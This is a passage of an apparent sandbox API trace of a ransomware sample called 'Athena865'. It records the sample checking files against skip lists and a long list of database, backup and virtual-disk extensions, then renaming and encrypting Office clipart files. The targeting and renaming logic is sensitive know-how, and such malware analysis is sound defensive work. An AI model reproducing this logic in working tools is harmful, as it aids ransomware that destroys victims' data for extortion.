lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0127.749] lstrlenW (lpString="jtx") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0127.749] lstrlenW (lpString="kdb") returned 3 [0127.749] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0127.749] lstrlenW (lpString="kexi") returned 4 [0127.749] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0127.749] lstrlenW (lpString="kexic") returned 5 [0127.750] lstrcmpiW (lpString1="9.WMF", lpString2="kexic") returned -1 [0127.750] lstrlenW (lpString="kexis") returned 5 [0127.750] lstrcmpiW (lpString1="9.WMF", lpString2="kexis") returned -1 [0127.750] lstrlenW (lpString="lgc") returned 3 [0127.750] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0127.750] lstrlenW (lpString="lwx") returned 3 [0127.750] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0127.750] lstrlenW (lpString="maf") returned 3 [0127.750] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0127.750] lstrlenW (lpString="maq") returned 3 [0127.750] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0127.750] lstrlenW (lpString="mar") returned 3 [0127.750] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0127.750] lstrlenW (lpString="marshal") returned 7 [0127.750] lstrcmpiW (lpString1="289.WMF", lpString2="marshal") returned -1 [0127.750] lstrlenW (lpString="mas") returned 3 [0127.750] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0127.750] lstrlenW (lpString="mav") returned 3 [0127.750] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0127.750] lstrlenW (lpString="maw") returned 3 [0127.750] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0127.750] lstrlenW (lpString="mdbhtml") returned 7 [0127.750] lstrcmpiW (lpString1="289.WMF", lpString2="mdbhtml") returned -1 [0127.751] lstrlenW (lpString="mdn") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0127.751] lstrlenW (lpString="mdt") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0127.751] lstrlenW (lpString="mfd") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0127.751] lstrlenW (lpString="mpd") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0127.751] lstrlenW (lpString="mrg") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0127.751] lstrlenW (lpString="mud") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0127.751] lstrlenW (lpString="mwb") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0127.751] lstrlenW (lpString="myd") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0127.751] lstrlenW (lpString="ndf") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0127.751] lstrlenW (lpString="nnt") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0127.751] lstrlenW (lpString="nrmlib") returned 6 [0127.751] lstrcmpiW (lpString1="89.WMF", lpString2="nrmlib") returned -1 [0127.751] lstrlenW (lpString="ns2") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0127.751] lstrlenW (lpString="ns3") returned 3 [0127.751] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0127.752] lstrlenW (lpString="ns4") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0127.752] lstrlenW (lpString="nsf") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0127.752] lstrlenW (lpString="nv") returned 2 [0127.752] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0127.752] lstrlenW (lpString="nv2") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0127.752] lstrlenW (lpString="nwdb") returned 4 [0127.752] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0127.752] lstrlenW (lpString="nyf") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0127.752] lstrlenW (lpString="odb") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.752] lstrlenW (lpString="odb") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.752] lstrlenW (lpString="oqy") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0127.752] lstrlenW (lpString="ora") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0127.752] lstrlenW (lpString="orx") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0127.752] lstrlenW (lpString="owc") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0127.752] lstrlenW (lpString="p96") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0127.752] lstrlenW (lpString="p97") returned 3 [0127.752] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0127.753] lstrlenW (lpString="pan") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0127.753] lstrlenW (lpString="pdb") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0127.753] lstrlenW (lpString="pdm") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0127.753] lstrlenW (lpString="pnz") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0127.753] lstrlenW (lpString="qry") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0127.753] lstrlenW (lpString="qvd") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0127.753] lstrlenW (lpString="rbf") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0127.753] lstrlenW (lpString="rctd") returned 4 [0127.753] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0127.753] lstrlenW (lpString="rod") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0127.753] lstrlenW (lpString="rodx") returned 4 [0127.753] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0127.753] lstrlenW (lpString="rpd") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0127.753] lstrlenW (lpString="rsd") returned 3 [0127.753] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0127.753] lstrlenW (lpString="sas7bdat") returned 8 [0127.753] lstrcmpiW (lpString1="0289.WMF", lpString2="sas7bdat") returned -1 [0127.753] lstrlenW (lpString="sbf") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0127.754] lstrlenW (lpString="scx") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0127.754] lstrlenW (lpString="sdb") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0127.754] lstrlenW (lpString="sdc") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0127.754] lstrlenW (lpString="sdf") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0127.754] lstrlenW (lpString="sis") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0127.754] lstrlenW (lpString="spq") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0127.754] lstrlenW (lpString="te") returned 2 [0127.754] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0127.754] lstrlenW (lpString="teacher") returned 7 [0127.754] lstrcmpiW (lpString1="289.WMF", lpString2="teacher") returned -1 [0127.754] lstrlenW (lpString="tmd") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0127.754] lstrlenW (lpString="tps") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0127.754] lstrlenW (lpString="trc") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.754] lstrlenW (lpString="trc") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.754] lstrlenW (lpString="trm") returned 3 [0127.754] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0127.754] lstrlenW (lpString="udb") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0127.755] lstrlenW (lpString="udl") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0127.755] lstrlenW (lpString="usr") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0127.755] lstrlenW (lpString="v12") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0127.755] lstrlenW (lpString="vis") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0127.755] lstrlenW (lpString="vpd") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0127.755] lstrlenW (lpString="vvv") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0127.755] lstrlenW (lpString="wdb") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0127.755] lstrlenW (lpString="wmdb") returned 4 [0127.755] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0127.755] lstrlenW (lpString="wrk") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0127.755] lstrlenW (lpString="xdb") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0127.755] lstrlenW (lpString="xld") returned 3 [0127.755] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0127.755] lstrlenW (lpString="xmlff") returned 5 [0127.755] lstrcmpiW (lpString1="9.WMF", lpString2="xmlff") returned -1 [0127.755] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.Athena865") returned 73 [0127.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.athena865"), dwFlags=0x1) returned 1 [0127.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.757] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41136) returned 1 [0127.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.757] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.757] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.758] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.758] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.758] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3b0, lpName=0x0) returned 0x154 [0127.760] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa3b0) returned 0x100000 [0127.763] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.763] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.763] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.764] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.765] CloseHandle (hObject=0x154) returned 1 [0127.765] CloseHandle (hObject=0x17c) returned 1 [0127.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.765] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2=".") returned 1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="..") returned 1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="windows") returned -1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="bootmgr") returned 1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="temp") returned -1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="pagefile.sys") returned -1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="boot") returned 1 [0127.765] lstrcmpiW (lpString1="J0200377.WMF", lpString2="ids.txt") returned 1 [0127.766] lstrcmpiW (lpString1="J0200377.WMF", lpString2="ntuser.dat") returned -1 [0127.766] lstrcmpiW (lpString1="J0200377.WMF", lpString2="perflogs") returned -1 [0127.766] lstrcmpiW (lpString1="J0200377.WMF", lpString2="MSBuild") returned -1 [0127.766] lstrlenW (lpString="J0200377.WMF") returned 12 [0127.766] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200377.WMF" | out: lpString1="J0200377.WMF") returned="J0200377.WMF" [0127.766] lstrlenW (lpString="J0200377.WMF") returned 12 [0127.766] lstrlenW (lpString="Athena865") returned 9 [0127.766] lstrcmpiW (lpString1="00377.WMF", lpString2="Athena865") returned -1 [0127.766] lstrlenW (lpString=".dll") returned 4 [0127.766] lstrcmpiW (lpString1="J0200377.WMF", lpString2=".dll") returned 1 [0127.766] lstrlenW (lpString=".lnk") returned 4 [0127.766] lstrcmpiW (lpString1="J0200377.WMF", lpString2=".lnk") returned 1 [0127.766] lstrlenW (lpString=".ini") returned 4 [0127.766] lstrcmpiW (lpString1="J0200377.WMF", lpString2=".ini") returned 1 [0127.766] lstrlenW (lpString=".sys") returned 4 [0127.766] lstrcmpiW (lpString1="J0200377.WMF", lpString2=".sys") returned 1 [0127.766] lstrlenW (lpString="J0200377.WMF") returned 12 [0127.766] lstrlenW (lpString="bak") returned 3 [0127.766] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.766] lstrlenW (lpString="ba_") returned 3 [0127.766] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.766] lstrlenW (lpString="dbb") returned 3 [0127.766] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.766] lstrlenW (lpString="vmdk") returned 4 [0127.766] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.767] lstrlenW (lpString="rar") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.767] lstrlenW (lpString="zip") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.767] lstrlenW (lpString="tgz") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.767] lstrlenW (lpString="vbox") returned 4 [0127.767] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.767] lstrlenW (lpString="vdi") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.767] lstrlenW (lpString="vhd") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.767] lstrlenW (lpString="vhdx") returned 4 [0127.767] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.767] lstrlenW (lpString="avhd") returned 4 [0127.767] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.767] lstrlenW (lpString="db") returned 2 [0127.767] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.767] lstrlenW (lpString="db2") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.767] lstrlenW (lpString="db3") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.767] lstrlenW (lpString="dbf") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.767] lstrlenW (lpString="mdf") returned 3 [0127.767] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.767] lstrlenW (lpString="mdb") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.768] lstrlenW (lpString="sql") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.768] lstrlenW (lpString="sqlite") returned 6 [0127.768] lstrcmpiW (lpString1="77.WMF", lpString2="sqlite") returned -1 [0127.768] lstrlenW (lpString="sqlite3") returned 7 [0127.768] lstrcmpiW (lpString1="377.WMF", lpString2="sqlite3") returned -1 [0127.768] lstrlenW (lpString="sqlitedb") returned 8 [0127.768] lstrcmpiW (lpString1="0377.WMF", lpString2="sqlitedb") returned -1 [0127.768] lstrlenW (lpString="xml") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.768] lstrlenW (lpString="$er") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.768] lstrlenW (lpString="4dd") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.768] lstrlenW (lpString="4dl") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.768] lstrlenW (lpString="^^^") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.768] lstrlenW (lpString="abs") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.768] lstrlenW (lpString="abx") returned 3 [0127.768] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.768] lstrlenW (lpString="accdb") returned 5 [0127.768] lstrcmpiW (lpString1="7.WMF", lpString2="accdb") returned -1 [0127.768] lstrlenW (lpString="accdc") returned 5 [0127.768] lstrcmpiW (lpString1="7.WMF", lpString2="accdc") returned -1 [0127.769] lstrlenW (lpString="accde") returned 5 [0127.769] lstrcmpiW (lpString1="7.WMF", lpString2="accde") returned -1 [0127.769] lstrlenW (lpString="accdr") returned 5 [0127.769] lstrcmpiW (lpString1="7.WMF", lpString2="accdr") returned -1 [0127.769] lstrlenW (lpString="accdt") returned 5 [0127.769] lstrcmpiW (lpString1="7.WMF", lpString2="accdt") returned -1 [0127.769] lstrlenW (lpString="accdw") returned 5 [0127.769] lstrcmpiW (lpString1="7.WMF", lpString2="accdw") returned -1 [0127.769] lstrlenW (lpString="accft") returned 5 [0127.769] lstrcmpiW (lpString1="7.WMF", lpString2="accft") returned -1 [0127.769] lstrlenW (lpString="adb") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.769] lstrlenW (lpString="adb") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.769] lstrlenW (lpString="ade") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.769] lstrlenW (lpString="adf") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.769] lstrlenW (lpString="adn") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.769] lstrlenW (lpString="adp") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.769] lstrlenW (lpString="alf") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.769] lstrlenW (lpString="ask") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.769] lstrlenW (lpString="btr") returned 3 [0127.769] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.770] lstrlenW (lpString="cat") returned 3 [0127.770] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.770] lstrlenW (lpString="cdb") returned 3 [0127.770] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.770] lstrlenW (lpString="ckp") returned 3 [0127.770] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.770] lstrlenW (lpString="cma") returned 3 [0127.770] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.770] lstrlenW (lpString="cpd") returned 3 [0127.770] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.770] lstrlenW (lpString="dacpac") returned 6 [0127.770] lstrcmpiW (lpString1="77.WMF", lpString2="dacpac") returned -1 [0127.770] lstrlenW (lpString="dad") returned 3 [0127.770] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.770] lstrlenW (lpString="dadiagrams") returned 10 [0127.770] lstrcmpiW (lpString1="200377.WMF", lpString2="dadiagrams") returned -1 [0127.770] lstrlenW (lpString="daschema") returned 8 [0127.770] lstrcmpiW (lpString1="0377.WMF", lpString2="daschema") returned -1 [0127.770] lstrlenW (lpString="db-journal") returned 10 [0127.770] lstrcmpiW (lpString1="200377.WMF", lpString2="db-journal") returned -1 [0127.770] lstrlenW (lpString="db-shm") returned 6 [0127.770] lstrcmpiW (lpString1="77.WMF", lpString2="db-shm") returned -1 [0127.770] lstrlenW (lpString="db-wal") returned 6 [0127.770] lstrcmpiW (lpString1="77.WMF", lpString2="db-wal") returned -1 [0127.770] lstrlenW (lpString="dbc") returned 3 [0127.770] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.770] lstrlenW (lpString="dbs") returned 3 [0127.771] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.771] lstrlenW (lpString="dbt") returned 3 [0127.771] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.771] lstrlenW (lpString="dbv") returned 3 [0127.771] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.771] lstrlenW (lpString="dbx") returned 3 [0127.771] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.771] lstrlenW (lpString="dcb") returned 3 [0127.771] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.771] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.771] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.Athena865") returned 73 [0127.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.athena865"), dwFlags=0x1) returned 1 [0127.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.775] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20232) returned 1 [0127.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.777] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.779] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.779] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.779] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5210, lpName=0x0) returned 0x154 [0127.780] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5210) returned 0x100000 [0127.782] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.782] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.782] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: 